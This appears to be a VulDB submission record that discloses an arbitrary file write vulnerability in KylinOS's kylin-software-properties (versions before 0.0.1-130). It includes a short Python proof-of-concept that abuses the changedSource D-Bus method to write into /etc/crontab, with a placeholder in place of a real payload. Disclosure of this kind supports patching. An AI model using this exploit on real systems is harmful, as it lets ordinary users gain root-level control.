| Название | Kylin OS kylin-software-properties arbitrary file write vuln |
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| Описание | Report
Describe
kylin-software-properties is a component on KylinOS Desktop for setting system software properties. There is an arbitrary file writing vulnerability in the changedSource function of this component, which can lead to privilege escalation for ordinary users.
Hazard level
High
Affected version
kylin-software-properties < 0.0.1-130
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
#!/usr/bin/env python3
import sys
import dbus
import os
def change_source(old, new, target):
bus = dbus.SystemBus()
obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties")
proxy = dbus.Interface(obj, "com.kylin.software.properties.interface")
print(proxy.changedSource([old, new, target]))
change_source("#", "rebound shell", "/etc/crontab")
os.system("grep -rn 'rebound shell' /etc/crontab") |
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| Источник | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul1.md |
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| Пользователь | Set3r.Pan (UID 28571) |
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| Представление | 22.05.2023 10:02 (3 лет назад) |
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| Модерация | 05.06.2023 07:08 (14 days later) |
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| Статус | принято |
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| Запись VulDB | 230686 [KylinSoft kylin-software-properties перед 0.0.1-130 на KylinOS changedSource эскалация привилегий] |
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| Баллы | 20 |
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